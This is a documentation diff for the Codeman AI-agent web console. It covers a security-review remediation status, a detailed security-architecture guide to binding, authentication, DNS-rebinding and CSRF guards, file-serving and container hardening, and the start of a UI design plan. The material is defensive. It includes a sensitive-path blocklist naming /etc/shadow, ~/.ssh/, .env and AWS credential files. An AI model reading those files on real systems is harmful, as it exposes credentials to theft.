+- **Same-uid "attacks"** (tmux socket input injection, `/proc/<pid>/environ`, tmux `showenv` key disclosure) were refuted as already inside the OS trust boundary — a same-user process can already do anything to its peers.
+
+---
+
+## Implementation status (2026-06-09)
+
+Priority fixes 1–3 + 5 landed in the same session (verified live with curl/ws against an isolated instance):
+
+- ✅ **C1** — `Host`-header allowlist (`registerHostGuard` in `middleware/auth.ts`, policy in `network-auth-policy.ts`). Allows loopback/any-IP-literal/bind-host/`.ts.net`/`.trycloudflare.com`/`.cfargotunnel.com`/active-tunnel/`CODEMAN_ALLOWED_HOSTS`; rejects rebound custom domains.
+- ✅ **C2** — global `text/plain` parser no longer JSON-parses (crash-diag self-parses); plus the global cross-site Origin guard.
+- ✅ **H1, H3, H6** — global Origin/CSRF guard on all non-GET routes (covers self-update, session create/input, settings/tunnel).
+- ✅ **H4** — escaped all AI-derived sinks in `panels-ui.js` (tool name, tool detail, toolUseId, displayText).
+- ✅ **H5** — Origin/Host check on the WebSocket upgrade (`ws-routes.ts`).
+- ⏳ **H2** — deferred: needs signed-tag infra (no maintainer key yet); `npm ci --ignore-scripts` would break node-pty's native build, so not applied blindly.
+- ⏳ **CSP `unsafe-inline` removal** — deferred: inline `onclick=` handlers are pervasive; needs a nonce migration (H4's sink-escaping already neutralizes the known XSS).
+
+Tests: `test/network-host-guard.test.ts` (19), `test/routes/ws-routes.test.ts` (22). Operational note: any custom reverse-proxy domain must be added via `CODEMAN_ALLOWED_HOSTS=host,.suffix`.
+
+## Remediation priority
+
+1. **Add a `Host`-header allowlist** (`onRequest`, pre-routing). → kills C1, blunts H5/H6 rebinding. *Highest value, smallest change.*
+2. **Remove the global `text/plain` JSON parser + add a global same-origin/CSRF guard** on all non-GET routes. → kills C2, H1, H3, H6; blunts M7. Reuse the `paste-image` pattern globally.
+3. **Drop CSP `unsafe-inline` and `escapeHtml()` the subagent panel fields** (`panels-ui.js:808-811,1403`). → kills H4, closes L2/L3.
+4. **Add tag-signature/commit verification to the self-updater** + `npm ci --ignore-scripts`. → kills H2.
+5. **Validate Origin/Host on the WS upgrade** (`ws-routes.ts:62`). → kills H5.
+6. **Refuse to start a tunnel / non-loopback bind without a password** (or auto-generate one). → closes the operational HIGH + M4 + H6's precondition.
+7. Sweep the MEDIUMs: M1 (argv tmux sinks), M2 (hook secret), M5 (tail validator), M7 (push SSRF allowlist).
+
+*Generated by an automated adversarial multi-agent review (97 agents, ~4.8M tokens). Findings were independently verified but should be confirmed by a human before remediation; the live-confirmed exploits (C1, C2) are the highest-confidence items.*

+# Security Architecture
+
+This document describes Codeman's security model: how it decides who may reach
+the web UI, how requests are authenticated, how the file-serving and tmux layers
+are hardened, and the recommended ways to expose an instance safely.
+
+Codeman spawns and drives Claude/OpenCode CLIs with
+`--dangerously-skip-permissions`. **Anyone who can reach an unauthenticated
+instance can run arbitrary commands as your user.** The defaults below are chosen
+so that a fresh install is safe on the machine it runs on, while remote access is
+an explicit, guided opt‑in.
+
+> TL;DR — Codeman binds **loopback only (`127.0.0.1`) by default**, so out of the
+> box it is reachable only from the same machine and needs no password. To reach
+> it from elsewhere, either put it behind an **authenticated tunnel**
+> (`tailscale serve` / `cloudflared`) **or** bind a wider host **and set
+> `CODEMAN_PASSWORD`**. If you bind a non‑loopback host with no password, Codeman
+> still starts but prints a **loud warning** telling you how to secure it.

+
+## Trust model
+
+**The security boundary is the network bind plus authentication — not the code Codeman
+runs.** Because sessions launch with `--dangerously-skip-permissions`, the web UI is by
+design a remote‑code‑execution surface for whoever is allowed to reach it. Everything
+below exists to control *who* that is.
+
+| Actor | Reaches the UI when… | Is granted |
+|-------|----------------------|------------|
+| Same‑machine user | Always (default loopback bind) | Full session control — the intended local‑use case. |
+| Authenticated remote client | Tunnel/LAN reachability **and** a valid password or session cookie | Full session control. |
+| Unauthenticated remote client | Only if you bind a non‑loopback host with no password | Full session control — the exact case every default and warning works to prevent. |
+| Clients behind a loopback‑connecting tunnel | A reverse tunnel terminates on `127.0.0.1` | Inherit `req.ip = 127.0.0.1`, so they hit the localhost‑only exemptions (§3) unless a password is set. |
+
+**Explicitly out of scope.** Codeman is access control for the operator console, not a
+sandbox for the code that console runs. It does **not** defend against: a compromised
+local user account (loopback is trusted), malicious contents in a workspace you
+deliberately open, or the breadth of filesystem a session's `workingDir` is pointed at
+(§5).
+
+---
+
+## 1. Network binding model
+
+| Setting | Default | Source |
+|---------|---------|--------|
+| Bind host | `127.0.0.1` (loopback) | `--host` / `CODEMAN_HOST` → `WebServer` ctor |
+| Port | `3000` | `--port` / `CODEMAN_PORT` |
+| TLS | off (`--https` to enable) | `--https` |
+
+### Bind host classification
+
+`isLoopbackBindHost()` (`src/web/network-auth-policy.ts`) decides whether a bind
+host is loopback-only. It returns `true` for:
+
+- `localhost`
+- any IPv4 in `127.0.0.0/8` (e.g. `127.0.0.1`, `127.42.0.9`)
+- IPv6 loopback `::1` (bracketed `[::1]` and the long form `0:0:0:0:0:0:0:1`)
+- IPv4‑mapped loopback `::ffff:127.*`
+
+It returns `false` for `0.0.0.0`, `::` (all interfaces), LAN IPs, and hostnames.
+The classification is **fail‑safe in the dangerous direction**: any host that is
+not provably loopback is treated as non‑loopback (it never mistakes `0.0.0.0`
+for loopback). Shorthand forms like `127.1` or integer/octal IPs classify as
+non‑loopback (you'll get a warning, not a silent wide‑open bind) — use
+`127.0.0.1` for an unambiguous loopback bind.
+
+### Startup policy (the "warn, don't block" rule)
+
+At `WebServer.start()`:
+
+| Bind host | `CODEMAN_PASSWORD` | Behavior |
+|-----------|--------------------|----------|
+| loopback (default) | unset | **Start.** Safe — reachable only from this machine. |
+| loopback | set | **Start.** Auth required even locally. |
+| non‑loopback | set | **Start.** Auth protects the open bind. |
+| non‑loopback | unset | **Start + LOUD warning** listing how to secure it. |
+| non‑loopback | unset, `--allow-unauthenticated-network` | **Start + terse acknowledged note.** |
+
+> History: an earlier iteration (unreleased COD‑29) *refused to start* on a
+> non‑loopback bind without a password. That surprised setups that "just worked"
+> before, so **0.9.0 changed it to start‑and‑warn**. Loopback is still the safe
+> default; the warning (with three concrete fixes) replaces the hard failure.
+
+The warning points at three ways to secure the instance:
+
+1. `CODEMAN_PASSWORD=<password>` — turns on HTTP Basic auth (see §2).
+2. `--host 127.0.0.1` + an authenticated tunnel (`cloudflared` / `tailscale serve`).
+3. `--allow-unauthenticated-network` / `CODEMAN_ALLOW_UNAUTHENTICATED_NETWORK=1`
+   — explicitly accept the risk (downgrades the warning to a one‑line note). This
+   flag is **only** an acknowledgement; it does not change reachability.
+
+`CODEMAN_API_URL` (used by hooks/child processes) is always derived as a loopback
+address (`0.0.0.0`/`localhost`/`::1` → `127.0.0.1`) so in‑process hooks reach the
+server over loopback regardless of the public bind.
+
+---
+
+## 2. Authentication
+
+Auth is **optional** and controlled by env vars captured at startup:
+
+- `CODEMAN_USERNAME` (default `admin` when only a password is set)
+- `CODEMAN_PASSWORD`
+
+When `CODEMAN_PASSWORD` is unset, no auth is enforced — which is why the default
+loopback bind matters. The auth pipeline (`src/web/middleware/auth.ts`,
+`onRequest` hook) runs in this order:
+
+1. **Localhost‑only exemptions** (always first): `POST /api/hook-event` and the QR
+   `/q/` short‑code path are exempt when `req.ip` is loopback (see §3). While the
+   **managed tunnel is running**, the hook‑event exemption additionally requires
+   the per‑instance `X-Codeman-Hook-Secret` header (COD‑54); failed presentations
+   are rate‑limited in a **dedicated bucket** (separate from Basic‑Auth failures)
+   so misfiring hooks can never lock out the login path.
+2. **Session cookie** check — a valid `codeman_session` cookie short‑circuits to
+   allow.
+3. **HTTP Basic** check — correct credentials short‑circuit to allow and clear
+   that IP's failure counter.
+4. **Rate‑limit gate** — if neither cookie nor credentials passed and the IP is
+   locked out, return `429` with a `Retry-After` header.
+5. Otherwise return `401`, incrementing the IP's failure counter.
+
+### Session cookies
+
+On successful Basic auth the server issues `codeman_session`, an opaque
+server‑side token (`randomBytes(32)`), valid 24h with auto‑extend and device
+context for the audit log. Tokens are **not** client‑signed — they're validated
+by presence in a server‑side map, so they cannot be forged offline.
+
+### Rate limiting / lockout recovery
+
+Failed auth is tracked **per IP**: 10 failures → `429`, with a 15‑minute decay.
+The QR path has its own separate limiter.
+
+The lockout check sits **after** the cookie/credential checks (step 4, not first).
+This is deliberate: a user with a **valid cookie or correct password recovers
+immediately** even while an attacker is hammering the same IP — important because
+all traffic through a tunnel shares one source IP (loopback). Wrong credentials
+are still counted and still hit the `429` at the threshold, so brute‑force
+protection is unchanged.
+
+---
+
+## 3. Request‑origin trust & the tunnel caveat
+
+`req.ip` is derived from the **TCP socket only** — Fastify runs with
+`trustProxy: false`, so `X-Forwarded-For` / `X-Real-IP` / `Forwarded` are
+**ignored**. A remote client cannot forge `req.ip` to `127.0.0.1`.
+
+**However**, a reverse tunnel that connects to the server over loopback (e.g.
+`cloudflared --url http://localhost:3000`) makes **every tunneled request arrive
+with `req.ip = 127.0.0.1`**. The localhost‑only exemptions then treat those
+requests as local:
+
+- `POST /api/hook-event` — auth‑exempt for loopback **only while no managed tunnel
+  is running**. When Codeman's own tunnel is up, the exemption requires the
+  per‑instance shared secret (`X-Codeman-Hook-Secret`, 256‑bit hex in
+  `~/.codeman/hook-secret`, mode 0600, COD‑54). Local hook commands read the
+  secret file at execution time (`$CODEMAN_HOOK_SECRET_FILE`, exported into every
+  managed session), so they keep working — tunneled internet traffic can't know
+  it. Even without the secret the impact is bounded: the route is
+  `HookEventSchema`‑validated and requires a valid in‑memory `sessionId`; it can
+  drive respawn signals, SSE broadcasts, push notifications, and transcript
+  watching — **not** arbitrary terminal input or file reads. ⚠️ The gate keys off
+  the **managed** tunnel — an externally run loopback proxy (your own
+  `cloudflared`, `tailscale serve`) is invisible to it, so the plain loopback
+  exemption still applies there (prefer `tailscale serve`, which authenticates at
+  the tailnet layer). Hook configs regenerated since COD‑54 always present the
+  header, so a future release can require the secret unconditionally.
+- QR `/q/` — still protected by its own short‑code brute‑force limiter
+  (10 failures / 60s against a 62⁶ space).
+
+**Mitigation:** set `CODEMAN_PASSWORD` whenever a loopback‑connecting tunnel is
+up — it gates everything except the (secret‑gated) hook exemption and is the
+documented practice; since COD‑55 enabling the managed tunnel **refuses** to start
+without it unless `CODEMAN_ALLOW_UNAUTHENTICATED_NETWORK=1` explicitly
+acknowledges the exposure. Prefer `tailscale serve` (below), which authenticates
+at the tailnet layer so untrusted clients never reach the loopback port at all.
+
+### Host‑header & Origin allowlist (DNS‑rebinding & CSRF defense)
+
+Since **0.9.5** an **always‑on** `onRequest` hook (`registerHostGuard`,
+`src/web/middleware/auth.ts`; policy in `src/web/network-auth-policy.ts`) runs
+**before** the auth pipeline in §2 and guards **every** request — including the
+localhost‑only exemptions above, SSE, the WebSocket upgrade, and static files. It
+closes the browser‑driven RCE path (DNS rebinding plus a cross‑site `text/plain`
+`POST`) that the loopback‑no‑password default otherwise exposed to any site the
+operator merely visits.
+
+- **Host allowlist (anti‑DNS‑rebinding).** The `Host` header is validated on
+  **every** request, all methods. A custom domain rebound to `127.0.0.1` is
+  rejected with `403 Forbidden: host not allowed` before any handler runs. Allowed:
+  `localhost`; **any** IP literal (IPv4/IPv6 — a browser hitting a numeric address
+  can't be a rebinding victim); the bind host; the suffixes `.ts.net`,
+  `.trycloudflare.com`, `.cfargotunnel.com`; the hostname of the active
+  Codeman‑managed tunnel; and anything in `CODEMAN_ALLOWED_HOSTS`. A missing/empty
+  `Host` is rejected.
+- **Origin / CSRF guard.** On **state‑changing** methods (everything except
+  `GET`/`HEAD`/`OPTIONS`) the `Origin` header must also pass the same allowlist,
+  else `403 Forbidden: cross‑site request blocked`. A **missing `Origin` is
+  allowed** (so `curl`, the CLI, and Claude Code hooks keep working); only a
+  present‑but‑foreign origin — or the opaque `null` origin (sandboxed iframe) — is
+  rejected. This blocks the cross‑site CSRF that could previously create sessions,
+  trigger self‑update, or flip `tunnelEnabled`.
+- **Raw `text/plain` bodies.** The global `text/plain` content‑type parser no
+  longer JSON‑parses bodies — it hands handlers the raw string (`/api/crash-diag`
+  self‑parses its beacon payload). This removes the CORS "simple request" CSRF
+  vector, where a cross‑site `fetch` with `Content-Type: text/plain` smuggled a
+  JSON body into a write route with no preflight — defense‑in‑depth alongside the
+  Origin guard.
+- **WebSocket upgrades.** The terminal WS upgrade (`src/web/routes/ws-routes.ts`)
+  runs the **same** Host + Origin check and closes with code `4003` on failure
+  (anti‑CSWSH).
+
+The policy is rebuilt per request from
+`buildHostPolicy(bindHost, tunnelManager.getUrl())`, so starting or stopping a
+tunnel at runtime updates the allowlist with no restart.
+
+> **Reverse‑proxy operators:** a custom proxy domain (e.g. `codeman.example.com`)
+> is **not** in the default allowlist and gets `403 host not allowed`. Add it via
+> `CODEMAN_ALLOWED_HOSTS` — comma‑separated, case‑insensitive; an exact hostname
+> matches only itself, while a leading‑dot entry (`.corp.internal`) matches the
+> bare domain **and** all subdomains. Behaviour is covered by
+> `test/network-host-guard.test.ts`.

+
+## 4. Recommended remote‑access setups
+
+Ordered most‑to‑least recommended:
+
+### A. Tailscale serve (recommended)
+
+Bind loopback, let Tailscale front it on your tailnet with a real cert:
+
+```bash
+codeman web --https            # binds 127.0.0.1:3000
+tailscale serve --bg https / http://127.0.0.1:3000
+```
+
+Only devices on your tailnet can reach it; Tailscale handles identity. No app
+password and no `0.0.0.0` bind required. (This is the maintainer's production
+setup.)
+
+### B. Authenticated cloudflared tunnel + password
+
+```bash
+export CODEMAN_PASSWORD=<password>
+codeman web --https
+cloudflared tunnel --url https://localhost:3000
+```
+
+Always set `CODEMAN_PASSWORD` here — the tunnel connects over loopback, so the
+hook‑event exemption (§3) would otherwise be reachable from the public URL.
+
+### C. Direct LAN bind + password
+
+```bash
+export CODEMAN_PASSWORD=<password>
+codeman web --https --host 0.0.0.0
+```
+
+Exposes the port on all interfaces; the password is the only thing protecting it.
+
+### Avoid
+
+`--host 0.0.0.0` **without** a password. Codeman will start (and warn), but
+anyone on the network can control your Claude sessions. Never re‑expose `0.0.0.0`
+without a password.
+
+---
+
+## 5. File‑serving hardening
+
+Three routes serve workspace files; all require a valid `sessionId` and run the
+shared path validator `validateSessionFilePath()` (`src/web/route-helpers.ts`):
+it `realpath`s the target **before** the boundary check and rejects anything that
+escapes the session working directory (`..`, absolute paths, and symlinks that
+resolve outside). The realpath‑before‑check ordering closes the validation‑time
+TOCTOU window.
+
+| Route | Cap | Notes |
+|-------|-----|-------|
+| `file-content` | 10 MB | text preview |
+| `file-raw` | 50 MB | inline MIME map; **`X-Content-Type-Options: nosniff` on all responses** |
+| `POST /api/download` | 50 MB | forced `attachment`; sensitive‑path blocklist |
+
+### SVG / content‑type XSS
+
+A workspace `.svg` served inline as `image/svg+xml` is a stored‑XSS vector (SVG
+can carry `<script>`, same‑origin = full session control). `file-raw` therefore
+serves `.svg` as `application/octet-stream` + `Content-Disposition: attachment` +
+`nosniff`. The control here is the **`octet-stream` + `attachment` + `nosniff`
+combination**, which forces a download instead of a render — not the CSP: the
+policy's `script-src` allows `'unsafe-inline'` (§9), so a same‑origin HTML
+document *would* be able to run inline scripts if the browser ever rendered it.
+By the same combination, other text types (`.html`, `.xml`, …) that fall through
+to `octet-stream` are downloaded, not executed. Trusted QR/welcome SVGs are
+injected from API JSON (`innerHTML`), not via `file-raw`, so they are unaffected.
+
+### Download sensitive‑path blocklist
+
+`/api/download` additionally refuses a blocklist of sensitive paths
+(`/etc/shadow`, `~/.ssh/`, `.env`, `*credentials*`, `.aws/credentials`, …). This
+is **defense‑in‑depth, not the primary boundary** — the realpath containment is
+the control. The blocklist patterns are shared (`src/web/sensitive-path.ts`) with
+the attachment guard below.
+
+### External attachments (registry) & the magic‑link trust boundary
+
+Live external attachments (`src/attachment-registry.ts`) mint an `att_<uuid>` id
+for a host file so browser requests carry the id, never an absolute path. Serving
+is by id (`GET /api/sessions/:id/attachments/:attachmentId/raw`, 50 MB cap,
+`nosniff`) and re‑resolves the symlink + re‑checks the **attachment guard**
+(`src/config/attachment-guard.ts`: the shared sensitive‑path blocklist **plus**
+the `/root` and `/etc` trees, extendable via `attachmentBlockedPaths` /
+`CODEMAN_ATTACHMENT_BLOCKED_PATHS`) on every request. Unlike the workspace file
+routes, attachments are intentionally **cross‑workspace** — so the effective gate
+is the blocklist + a 6‑extension allowlist (`png/pdf/docx/pptx/md/txt`), not
+realpath containment.
+
+Two registration paths, with **different trust**:
+
+- **Explicit `POST /api/sessions/:id/attachments`** (and `codeman attach`, which
+  POSTs directly inside a managed session) — a deliberate, Origin‑guarded HTTP
+  request. Allowed cross‑workspace (subject to the guard). This is the supported
+  path for codeman‑publish and the `~/.codeman` review‑card loop.
+- **Terminal `codeman://attach?path=…` magic links** — scanned passively from
+  session output. Terminal output is **attacker‑influenceable** (a prompt‑injected
+  session can print an arbitrary path), and registration here is server‑side with
+  no Origin gate and broadcasts the `rawUrl` over SSE to all clients. This path is
+  therefore **force‑confined to the session workspace** (`forceWorkspaceConfinement`
+  in `registerExternalAttachment`, wired in `WebServer.registerAttachment`),
+  regardless of the global confine setting — a passive magic link cannot expose a
+  file outside the session's own workspace. Cross‑workspace attach must go through
+  the explicit POST path above.
+
+### SSE log‑tail route — intentional extra read roots
+
+The live file‑tail SSE route (`FileStreamManager`, used to stream a growing log
+into the UI) does **not** use `validateSessionFilePath`; it has its own validator
+with a deliberately **wider** allowlist: the session `workingDir` **plus two
+read‑only log roots — `/var/log` and `~/logs`** — so operators can tail
+system/app logs. `/tmp` is intentionally excluded (world‑writable). Like the
+other routes it `realpath`s the target and re‑checks right before spawning `tail`
+(TOCTOU guard), and it is read‑only. This is the one place the per‑session
+boundary is intentionally relaxed; on a password‑protected remote deployment an
+authenticated user can therefore read `/var/log` and `~/logs` outside their
+session dir. (Security review M5: this divergence is by design and is now
+documented here rather than silently diverging from the per‑session claim above.)
+
+### Known limitation — `workingDir` scope
+
+The file‑route boundary is the session's `workingDir`, and `POST /api/sessions`
+currently accepts an arbitrary absolute `workingDir` (validated as "exists + is a
+directory"). A session created with `workingDir=/` can therefore read files
+across the filesystem within that boundary. This is **pre‑existing** across all
+file routes and not widened by the recent changes. Recommended follow‑up:
+constrain `workingDir` to an allowlist (e.g. under the cases dir / `$HOME`).
+
+---
+
+## 6. tmux launch hardening (COD‑31)
+
+New sessions and respawns launch the tmux server/pane from a stable `/tmp`
+(`TMUX_LAUNCH_CWD`) and then `cd` into the real workspace **inside** the pane,
+against the live mount table:
+
+```
+respawn-pane -k -c /tmp -t <session> bash -c "cd <workingDir> && <cmd>"
+```
+
+This avoids a class of failures on FUSE/rclone‑mounted workspaces where a
+transient mount blip at launch poisons tmux's long‑lived cwd and crashes
+`new-session`. Safety properties:
+
+- **Fail‑safe cwd:** the command is `cd "<dir>" && <cmd>` — if `cd` fails the CLI
+  does **not** run in `/tmp`; the pane dies with a visible error instead.
+- **No injection:** `workingDir` passes `isValidWorkingDir` (absolute, rejects
+  `;&|$\`(){}<>'"` and newlines and `..`) and `isValidPath`, and is double‑quoted
+  in the pane command. Paths with spaces work; metacharacters are rejected before
+  reaching the shell.
+- It does not change which tmux socket is targeted, so instance isolation (§8) is
+  preserved.
+
+---
+
+## 7. Supply‑chain & build‑asset hardening (COD‑28)
+
+- **Dependency advisories:** security‑sensitive ranges are bumped to patched
+  versions, and `overrides` force patched transitive deps (`picomatch`,
+  `basic-ftp`, `fast-uri`, `flatted`). `test/dependency-security.test.ts` asserts
+  these stay patched in the lockfile.
+- **Lockfile integrity:** `npm run check:lockfile` (CI on every push/PR) fails on
+  drift between `package.json` and `package-lock.json`. All lockfile entries
+  resolve to `registry.npmjs.org` with `sha512` integrity hashes.
+- **Public‑asset checker:** `npm run check:public-assets`
+  (`scripts/check-public-assets.mjs`) scans `src/web/public/**` for literal NUL
+  bytes and runs `node --check` on every `.js` file (syntax validation), plus a
+  Prettier pass on maintained files. It uses `execFileSync` with argv arrays (no
+  shell), so filenames/content cannot inject commands; `node --check` only parses,
+  never executes. Large hand‑formatted/generated assets (`app.js`, the gesture
+  bundle, vendored libs) are `.prettierignore`d for the style pass, but the NUL +
+  syntax checks still cover them.
+
+---
+
+## 8. Multi‑instance isolation
+
+The tmux socket (`tmux -L codeman[-<instance>]`) and data dir
+(`~/.codeman[-<instance>]`) are **process‑wide and shared by every Codeman on the
+machine**, derived from `CODEMAN_INSTANCE` (`src/config/instance.ts`). A second
+instance on the **same** socket discovers and attaches PTYs to the first
+instance's live sessions. To run instances side by side, give each a distinct
+`CODEMAN_INSTANCE` (scopes both dir + socket), or set `CODEMAN_TMUX_SOCKET` +
+`CODEMAN_DATA_DIR` individually. `CODEMAN_INSTANCE` defaults to empty = the
+production layout (`~/.codeman`, `-L codeman`, port 3000).
+
+---
+
+## 9. Transport security headers
+
+`registerSecurityHeaders` (`src/web/middleware/auth.ts`) applies on every response:
+
+- **`Content-Security-Policy`** — baseline `default-src 'self'`, with these
+  deliberate widenings (so the policy is tighter than "self only" but every
+  exception is enumerated and same‑origin‑first):
+  - `script-src` / `style-src` / `font-src` also allow `https://cdn.jsdelivr.net`
+    (CDN fallback for a few libraries). `script-src` and `style-src` additionally
+    allow `'unsafe-inline'` — relevant to the SVG/HTML handling in §5, where the
+    `octet-stream` + `nosniff` download (not the CSP) is what blocks execution.
+    Because `'unsafe-inline'` is still present (removing it needs a nonce
+    migration), AI‑derived strings rendered into the subagent/activity panels are
+    HTML‑escaped at the injection sites (`escapeHtml` in
+    `src/web/public/constants.js`; sinks in `panels-ui.js` / `subagent-windows.js`)
+    so a hostile tool name or argument can't execute — defense‑in‑depth from the
+    2026‑06‑09 review (H4).
+  - `connect-src` allows `wss://api.deepgram.com` (streaming voice input).
+  - `img-src` allows `data:` and `blob:` (inline / generated images, QR codes).
+  - `frame-ancestors 'self'`.
+  - **Gesture opt‑in (`CODEMAN_GESTURE=1`):** `script-src` gains
+    `'wasm-unsafe-eval'` and a `worker-src 'self' blob:` directive is added, for
+    self‑hosted MediaPipe. Its wasm runtime + model are same‑origin under
+    `/gesture/`, so no extra `connect-src` entry is needed. OFF by default, so the
+    production CSP is byte‑for‑byte unchanged.
+- **`X-Content-Type-Options: nosniff`** — blocks MIME sniffing (pairs with §5).
+- **`X-Frame-Options: SAMEORIGIN`** — clickjacking defense (mirrors
+  `frame-ancestors 'self'`).
+- **`Strict-Transport-Security: max-age=31536000; includeSubDomains`** — only when
+  served over HTTPS (`--https`).
+- **CORS** — `Access-Control-Allow-Origin` is reflected **only** for origins whose
+  hostname is `localhost` / `127.0.0.1` / `::1`; any other origin gets no CORS
+  headers. `OPTIONS` preflights are answered `204`.
+
+---
+
+## 10. Docker container isolation
+
+Docker cases (1.4.0) run a session inside a per‑case container instead of on the host. The security posture:
+
+- **Hardened create flags, always** — `--cap-drop ALL`, `--security-opt no-new-privileges`, `--pids-limit` (fork‑bomb guard), `--memory` == `--memory-swap` (a real OOM cap), `--init`, and non‑root: `--user <hostUid>:0` on Linux (host uid → workspace files stay host‑owned; GID 0 keeps `$HOME` writable), `--userns=keep-id` on rootless Podman. **Never** `--privileged`, and **never** the docker socket — the pure builder in `docker-hosts.ts` cannot emit them and the schema cannot represent them.
+- **Credentials never enter an image** — the convenient default bind‑mounts host cred dirs (`~/.claude`, `~/.codex`, `~/.gemini`, `~/.config/{gcloud,opencode}`) read‑write. Bind mounts are physically excluded from `docker commit`, so exported images are secret‑free. API‑key CLIs get their key as an exec‑time NAME‑ONLY `--env OPENAI_API_KEY` (no `=value`, no `ps` leak, never committed); a create‑time `-e` for a secret is never used. The **sealed** profile (`mountCredentials:false` + `network:none`) drops the host mounts; full‑image export is then refused (an in‑container login would ride the committed layer) unless a pre‑commit scrub is opted into.
+- **Blast radius — accept it explicitly** — the convenient profile mounts an arbitrary host workspace RW plus the host credential dirs RW into a network‑enabled container, so container‑run agent code can read/modify those host trees and reach the network at once. Still a net improvement over today's on‑host `--dangerously-skip-permissions` execution; use the sealed profile for genuinely untrusted work.
+- **Import is untrusted‑bundle‑safe** — `/api/docker-cases/import` validates the manifest + per‑member SHA‑256 before extraction, rejects absolute / `..` tar members (traversal guard), and re‑tags the loaded image into a quarantined namespace so it can never overwrite `codeman/agent:base` or a pre‑existing tag.
+- **Host guard & the bridge‑hooks listener** — in‑container hook callbacks carry `Host: host.docker.internal` / `host.containers.internal`; both are on the always‑on host‑header allowlist (`DOCKER_HOST_GATEWAY_ALIASES`) and resolve to the host only from inside a container netns, so they are not a browser DNS‑rebinding surface. On a loopback‑only server, in‑container hooks are opt‑in via `CODEMAN_DOCKER_BRIDGE_HOOKS=1`, which binds a SECOND listener on the docker bridge gateway serving **only** the hook endpoints (every other path → `403`) into the same hook‑secret‑gated pipeline. The bridge is host‑internal (containers + host), not the LAN, so it does not widen network exposure; the hook secret is bind‑mounted read‑only and referenced by path.
+- **Instance isolation** — every managed container is labeled `codeman.instance=<CODEMAN_INSTANCE>`; the boot reaper reaps orphans of its OWN instance only, so a beta never removes a prod container. The in‑container tmux socket (`-L codeman-docker`) + session name (`codeman-dkr-*`) deliberately fail a nested Codeman's discovery pattern.
+
+Full feature guide: [`docker-cases.md`](docker-cases.md).
+
+---
+
+## 10a. Multi‑user mode (opt‑in)
+
+`codeman web --multiuser` (or `CODEMAN_MULTIUSER=1`) turns on named users with individually scrypt‑hashed passwords in `~/.codeman/users.json` (mode 0600). OFF by default; when off, nothing here applies and behavior is byte‑identical to single‑user. Design + phase status: [`multi-user-plan.md`](multi-user-plan.md).
+
+- **It is workspace separation, NOT a security boundary between users.** Every session still runs as the SAME OS account with agent code that can read the whole host. Any user can ask their agent to `cat` another user's files; the WEB layer enforces scoping, the AGENT layer cannot. Mitigations: give non‑admins the default `auto` permission mode (classifier‑guarded), pair users with **Docker cases** (container per case) for real isolation, or run separate Codeman instances under separate OS accounts. Stated loudly in the admin panel and the plan's threat model (section 2).
+- **It strictly improves network posture.** It removes the single shared `CODEMAN_PASSWORD` and gives each person a revocable credential; a non‑loopback bind and the tunnel‑enable guard are satisfied by "multi‑user with ≥1 enabled user" without a shared password.
+- **Auth is a parallel branch** (`middleware/auth.ts`) that leaves the single‑user path untouched: per‑user scrypt verify (`timingSafeEqual`, timing‑equalized against user enumeration), identity‑carrying cookies, a per‑username failure bucket (a botnet can't brute one account across IPs; one NATed user can't lock out the rest), and a `mustChangePassword` lockbox. The hook‑secret loopback bypass, host guard, and Origin/CSRF guard are unchanged (hooks authenticate the INSTANCE, not a user).
+- **Ownership is enforced server‑side only** and fails closed: `req.authUser` (a synthetic admin in single‑user), `findSessionOrFail` returns NOT_FOUND (never 403) for a foreign session, list/SSE/WS/file‑preview/search all filter by `session.owner`, and SSE routing defaults session‑scoped events to their owner (unresolved owner → withheld). The load‑bearing rule is **non‑admin `workingDir` confinement**: a non‑admin's session/one‑shot working dir must realpath‑resolve inside `~/codeman-users/<name>/cases`, checked BEFORE any disk write.
+- **Privileged actions are a one‑bit grant** (`canBypassPermissions`, default off): only granted users (and admins) get `--dangerously-skip-permissions` (others are silently downgraded to `--permission-mode auto`), shell‑mode sessions, cron `launchCommand`, and other CLIs' bypass flags. Machine‑level resources (remote/Docker host definitions, tunnel, self‑update, settings writes) are admin‑only.
+- **Admin actions are audited** append‑only to `~/.codeman/admin-audit.jsonl` (acting admin, action, target, IP). Passwords set by an admin create/reset are one‑time (returned once, force change). Under Basic auth, `logout` only truly ends QR‑issued sessions — to lock someone out, disable the account or reset the password (a proper login form is a deferred Phase 6).
+
+---
+
+## 10b. Web tabs (dashboard proxy)
+
+A saved dashboard URL renders as a tab, served through Codeman's own origin at `/webview/<capability>/`. User guide: [`web-tabs.md`](web-tabs.md). Three properties carry the security weight:
+
+- **The proxy is exempt from cookie auth and the Origin/CSRF guard, and that is deliberate.** The iframe is sandboxed without `allow-same-origin`, so it is opaque‑origin: its requests are cross‑site, meaning the `SameSite=lax` session cookie is never attached and its writes and WS upgrades arrive with `Origin: null`. The credential is instead a 192‑bit capability in the path, minted only by an authenticated `POST /api/webviews/:id/open`, held in memory (a restart invalidates every one), rolling TTL, bound to the minting user, and granting nothing but "relay bytes to this one saved URL". ⚠️ **The Host allowlist is NOT bypassed**, so DNS‑rebinding protection is unaffected. A second `Referer`‑keyed form exists for root‑absolute assets and is the only exemption decided by a request‑supplied header, so it is fenced to safe methods on non‑`/api`, non‑`/ws`, non‑`/q` paths. Edges pinned by `test/webview-auth-exemption.test.ts`.
+- **Sandboxed by default; `allow-same-origin` is an explicit per‑dashboard opt‑in.** A proxied page is same‑origin with Codeman, so without the sandbox its JavaScript could read the Codeman document and call the agent‑spawning API. ⚠️ In BOTH modes the `Authorization` header and the `codeman_session` cookie are stripped before the upstream request, because a trusted (same‑origin) frame makes the browser attach Codeman's own Basic‑auth credentials to every proxied request; forwarding them would hand `CODEMAN_PASSWORD` to the dashboard.
+- **Not an open relay, and not a privilege boundary.** `resolveUpstreamUrl()` refuses anything leaving the saved origin, and cross‑origin redirects are handed back unchanged rather than followed. The proxy does reach whatever the SERVER can reach, which is not an escalation for someone who already commands `--dangerously-skip-permissions` agents, but in multi‑user mode it means a non‑admin's dashboard is fetched from the server's network position. Saved URLs are validated to plain http(s) with no embedded credentials, and there is deliberately **no magic‑link path**: terminal output can never create a webview (the mistake the attachment scanner had to be walled off from).

+# Ultracode / Workflow Agent Visualization — Design & Implementation Plan
+
+> **Status: IMPLEMENTED (2026-06-15, rev. 3) — Phases 1–3 shipped & verified; Phase 4 (live-transcript link) deferred.** A dedicated, opt-in **master-detail tab** (`showUltracodeAgents`, default OFF) shows ultracode/Workflow runs as Claude Code's "working agents" TUI: LEFT = runs + phases (selectable tasks), RIGHT = each run's agents with model, live state, **tokens burned**, and **tool calls**.
+>
